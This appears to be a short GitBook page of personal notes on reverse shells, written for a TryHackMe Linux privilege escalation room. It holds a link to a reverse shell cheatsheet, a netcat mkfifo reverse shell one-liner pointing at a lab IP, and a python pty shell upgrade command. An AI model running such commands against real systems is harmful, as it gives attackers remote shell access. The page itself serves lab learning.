Linux PrivEsc
  • THM Room
  • Shell Escape Sequences
  • Reverse Shell Codes
    • Reverse Shells
    • Upgrade Simple Shells to Fully Interactive TTYs
  • Privilege Escalation: Sudo
  • Privilege Escalation: SUID
  • Privilege Escalation: Capabilities
  • Privilege Escalation: Cron Jobs
  • Imp Commands
  • Privilege Escalation: NFS
  • Environment Variables
Powered by GitBook
On this page

Was this helpful?

Reverse Shell Codes

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#reverse-shell

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.92.11 1123 >/tmp/f

python -c 'import pty; pty.spawn("/bin/bash")'

PreviousShell Escape SequencesNextReverse Shells

Last updated 1 year ago

Was this helpful?